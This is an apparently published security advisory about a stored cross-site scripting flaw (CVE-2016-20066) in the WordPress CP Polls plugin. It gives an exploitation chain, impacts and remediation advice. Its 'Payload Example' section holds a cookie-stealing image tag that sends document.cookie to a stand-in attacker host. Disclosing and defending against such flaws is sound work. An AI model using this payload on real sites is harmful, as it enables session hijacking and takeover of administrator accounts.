Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsTraining
StudyProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Training
Study
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

1467+ Articles
151+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. CVE-2016-20066: WordPress CP Polls Persistent XSS via File Upload
CVE-2016-20066: WordPress CP Polls Persistent XSS via File Upload
SECURITYHIGHCVE-2016-20066

CVE-2016-20066: WordPress CP Polls Persistent XSS via File Upload

WordPress CP Polls plugin version 1.0.8 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts through unsanitized file upload functionality, enabling arbitrary JavaScript execution in victim browsers.

Dylan H.

Security Team

June 16, 2026
3 min read

Affected Products

  • WordPress CP Polls Plugin <= 1.0.8

Executive Summary

A persistent cross-site scripting (XSS) vulnerability has been identified in the WordPress CP Polls plugin version 1.0.8, tracked as CVE-2016-20066 with a CVSS score of 7.2 (High). The flaw stems from insufficient sanitization of user-supplied file content during the file upload process, allowing authenticated attackers to inject persistent JavaScript payloads that execute in the browsers of site administrators and other users.

The vulnerability was disclosed to the National Vulnerability Database (NVD) on June 15, 2026, despite originating from code written in the 2016 era.


Vulnerability Details

FieldDetail
CVE IDCVE-2016-20066
CVSS Score7.2 (High)
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow (authenticated user)
User InteractionRequired (admin views malicious content)
ScopeChanged
Affected SoftwareWordPress CP Polls Plugin 1.0.8

Technical Analysis

The CP Polls plugin for WordPress fails to adequately sanitize file content submitted through its upload interface. An attacker who has obtained minimal plugin access can upload a file containing embedded HTML event handlers — such as onerror attributes within image tags or script elements disguised within allowed file types.

When a site administrator or privileged user views the uploaded content through the WordPress administration panel, the injected script executes in their browser context. Because the script is stored server-side, the attack is classified as stored (persistent) XSS, making it more dangerous than reflected variants.

Attack Vector

A typical exploitation chain looks like this:

  1. Attacker registers or gains a low-privilege account on a WordPress site running CP Polls 1.0.8
  2. Attacker crafts a file with embedded JavaScript (e.g., an image with a malicious onerror attribute)
  3. The plugin stores the file without sanitization
  4. An administrator views poll submissions or media — the script executes in the admin's browser
  5. The attacker can steal session cookies, redirect the admin, or perform actions on their behalf

Payload Example

<img src="x" onerror="fetch('https://attacker.example/steal?c='+document.cookie)" />

When embedded in an accepted file format and uploaded through the plugin, this payload fires whenever the affected content is rendered in a browser that has not stripped the event handler.


Impact

Successful exploitation can lead to:

  • Session hijacking: Theft of administrator authentication cookies, granting full site control
  • Credential harvesting: Injected keyloggers or fake login overlays
  • Malware distribution: Defacement or script injection targeting site visitors
  • Privilege escalation: Executing admin-level actions on behalf of the hijacked session
  • Persistent backdoor: Continued access even after password changes if session tokens are reused

Affected Versions

SoftwareAffected Version
WordPress CP Polls Plugin1.0.8 and earlier

Remediation

Immediate Actions

  1. Disable or remove the CP Polls plugin until a patched version is available
  2. Audit recent file uploads through the plugin for suspicious content
  3. Review administrator session logs for unauthorized activity
  4. Rotate credentials for any accounts that may have been exposed

Long-Term Mitigations

  • Implement a Content Security Policy (CSP) header to restrict inline script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  • Regularly audit installed plugins and remove unused or unmaintained ones
  • Keep all WordPress plugins updated and subscribe to security advisories
  • Consider a Web Application Firewall (WAF) to filter XSS payloads in transit

CVSS 3.1 Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

References

  • NVD: CVE-2016-20066
  • OWASP: Cross-Site Scripting (XSS)
  • WordPress Plugin Security Best Practices
#WordPress#CVE-2016-20066#XSS#Persistent XSS#File Upload#Plugin Vulnerability

Related Articles

CVE-2026-7537: MDJM Event Management WordPress Plugin Arbitrary File Upload

A high-severity arbitrary file upload vulnerability in the MDJM Event Management plugin for WordPress allows authenticated attackers to upload malicious files…

2 min read

CVE-2026-4882: Unauthenticated File Upload in WordPress

A critical unauthenticated arbitrary file upload vulnerability in the User Registration Advanced Fields plugin for WordPress allows attackers to upload...

4 min read

CVE-2026-3844 — Breeze Cache WordPress Plugin

A critical unauthenticated file upload vulnerability in the Breeze Cache WordPress plugin allows attackers to upload arbitrary files to affected servers...

6 min read
Back to all Security Alerts